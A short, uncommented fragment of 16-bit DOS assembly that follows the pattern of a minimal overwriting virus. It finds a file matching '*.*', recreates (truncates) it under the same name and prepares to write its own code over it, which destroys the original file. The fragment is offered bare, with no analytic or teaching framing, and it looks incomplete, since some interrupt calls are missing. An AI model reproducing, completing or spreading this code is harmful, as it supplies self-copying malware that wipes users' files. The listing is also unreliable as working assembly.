Main: Lea Dx,FileSpec
Mov Ah,4eh
Int 21h
Mov Dx,9eh
Mov Ah,3ch
Lea Dx,Main
Mov Bh,40h
Mov Cl,Length
Xchg Ax,Bx
FileSpec Db '*.*',0
Length Equ $-Main